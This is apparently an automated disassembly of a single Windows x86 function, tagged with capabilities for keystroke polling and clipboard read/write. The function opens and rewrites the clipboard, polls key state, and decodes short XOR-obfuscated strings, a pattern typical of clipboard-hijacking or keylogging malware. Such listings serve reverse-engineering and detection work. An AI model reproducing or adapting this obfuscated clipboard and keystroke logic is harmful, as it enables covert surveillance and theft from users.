Function at 0x4becd0
Capabilities:
Log keystrokes via polling
Open clipboard
Write clipboard data

Disassembly:
sub esp, 0x54
mov eax, dword [0x4d700c]
xor eax, esp
mov dword [esp + 0x4c], eax
push ebx
push esi
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x4bf0a9
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov eax, dword [esp + 0x70]
inc eax
push eax
push 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x4bf0a3
cmp dword [esp + 0x74], 0x10
lea ecx, [esp + 0x60]
mov eax, dword [esp + 0x70]
cmovae ecx, dword [esp + 0x60]
inc eax
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push 0x1f
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x4bee81
mov bh, 0x7a
mov byte [esp + 0x10], 0
mov cl, 0x4e
mov byte [esp + 8], bh
mov ch, 0x20
mov byte [esp + 0x10], 0
mov dl, 0xe
mov dword [esp + 0x4c], 0
xor cl, bh
mov dword [esp + 0x50], 0
xor ch, bh
mov byte [esp + 0xa], cl
mov al, 0x31
mov byte [esp + 0xe], ch
mov bl, 0x2a
lea ecx, [esp + 9]
mov ah, 0x2e
mov dh, 0x16
xor dl, bh
xor al, bh
xor bl, bh
mov byte [esp + 0xb], dl
xor ah, bh
mov byte [esp + 9], al
xor dh, bh
mov byte [esp + 0xc], bl
xorps xmm0, xmm0
mov byte [esp + 0xf], dh
mov byte [esp + 0xd], ah
lea edx, [ecx + 1]
movups xmmword [esp + 0x3c], xmm0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4bedb0
sub ecx, edx
lea eax, [esp + 9]
push ecx
push eax
lea ecx, [esp + 0x44]
call fcn.004b4ff0
mov ecx, 0x34
mov dword [esp + 0x18], 0
cmp dword [esp + 0x4c], ecx
lea eax, [esp + 0x3c]
xorps xmm0, xmm0
mov dword [esp + 0x1c], 0
cmovb ecx, dword [esp + 0x4c]
cmp dword [esp + 0x50], 0x10
push ecx
cmovae eax, dword [esp + 0x40]
lea ecx, [esp + 0xc]
push eax
movups xmmword [esp + 0x10], xmm0
call fcn.004b4ff0
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0x40]
call fcn.004b3ee0
mov ecx, dword [esp + 0x1c]
cmp ecx, 0x10
jb 0x4bee4b
mov edx, dword [esp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4bee41
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4bf0d1
push ecx
push edx
call fcn.004c6f3d
add esp, 8
mov ecx, dword [esp + 0x50]
cmp ecx, 0x10
jb 0x4bee81
mov edx, dword [esp + 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4bee77
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4bf0d1
push ecx
push edx
call fcn.004c6f3d
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov dh, 0x28
mov byte [esp + 0xf], 0
mov bl, 0x52
mov byte [esp + 8], dh
mov cl, 0x79
mov byte [esp + 0xf], 0
mov dl, 0x51
mov dword [esp + 0x4c], 0
mov ch, bl
mov dword [esp + 0x50], 0
xor cl, dh
mov al, 0x58
mov ah, 0x67
mov byte [esp + 0xa], cl
xor al, dh
xor dl, dh
xor bl, dh
mov byte [esp + 0xb], dl
xor ah, dh
mov byte [esp + 9], al
xor ch, dh
mov byte [esp + 0xc], bl
mov byte [esp + 0xe], ch
xorps xmm0, xmm0
lea ecx, [esp + 9]
mov byte [esp + 0xd], ah
movups xmmword [esp + 0x3c], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4beee7
sub ecx, edx
lea eax, [esp + 9]
push ecx
push eax
lea ecx, [esp + 0x44]
call fcn.004b4ff0
mov bh, 0x73
mov byte [esp + 0x10], 0
mov cl, 0x44
mov byte [esp + 8], bh
mov bl, cl
mov byte [esp + 0x10], 0
xor cl, bh
mov dword [esp + 0x34], 0
mov ch, 9
mov byte [esp + 0xa], cl
xor ch, bh
mov dword [esp + 0x38], 0
mov byte [esp + 0xe], ch
mov al, 0x45
xor al, bh
mov dl, 5
mov ah, 0x47
mov byte [esp + 9], al
xor ah, bh
mov dh, 0x29
xor dl, bh
mov byte [esp + 0xd], ah
xor dh, bh
mov byte [esp + 0xb], dl
xor bl, bh
mov byte [esp + 0xf], dh
mov ecx, 1
mov byte [esp + 0xc], bl
cmp dword [esp + 0x4c], ecx
lea eax, [esp + 0x3c]
xorps xmm0, xmm0
cmovb ecx, dword [esp + 0x4c]
cmp dword [esp + 0x50], 0x10
push ecx
cmovae eax, dword [esp + 0x40]
lea ecx, [esp + 0x28]
push eax
movups xmmword [esp + 0x2c], xmm0
call fcn.004b4ff0
lea eax, [esp + 9]
push eax
lea ecx, [esp + 0x28]
call fcn.004b5380
mov ecx, dword [esp + 0x38]
mov bl, al
cmp ecx, 0x10
jb 0x4befcc
mov edx, dword [esp + 0x24]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4befc2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4bf0d1
push ecx
push edx
call fcn.004c6f3d
add esp, 8
test bl, bl
je 0x4bf068
mov byte [esp + 8], 0x5e
mov cl, 0x39
xor cl, byte [esp + 8]
mov al, 0x35
xor al, byte [esp + 8]
mov ch, 0x1d
mov byte [esp + 9], al
mov dl, 0x37
mov byte [esp + 0x22], ch
mov dh, 4
mov al, byte [esp + 0x22]
mov bl, 0x27
mov byte [esp + 0xa], cl
mov ah, 0x1b
mov cl, byte [esp + 8]
mov bh, 0x15
xor al, cl
mov byte [esp + 0x23], 0x30
xor dl, cl
mov byte [esp + 0x11], al
mov al, byte [esp + 0x23]
xor ch, cl
xor dh, cl
mov byte [esp + 0xe], ch
xor bl, cl
mov byte [esp + 0x13], 0
xor ah, cl
mov byte [esp + 0xb], dl
xor bh, cl
mov byte [esp + 0xf], dh
xor al, cl
mov byte [esp + 0xc], bl
lea ecx, [esp + 9]
mov byte [esp + 0xd], ah
mov byte [esp + 0x10], bh
lea edx, [ecx + 1]
mov byte [esp + 0x12], al
mov byte [esp + 0x13], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4bf050
sub ecx, edx
lea eax, [esp + 9]
push ecx
push eax
lea ecx, [esp + 0x44]
call fcn.004b45a0
mov ecx, dword [esp + 0x50]
cmp ecx, 0x10
jb 0x4bf09a
mov edx, dword [esp + 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4bf090
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4bf0d1
push ecx
push edx
call fcn.004c6f3d
add esp, 8
push esi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [esp + 0x74]
cmp ecx, 0x10
jb 0x4bf0e1
mov edx, dword [esp + 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4bf0d7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4bf0d7
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004c6f3d
add esp, 8
mov ecx, dword [esp + 0x54]
pop esi
pop ebx
xor ecx, esp
call fcn.004c6ca9
add esp, 0x54
ret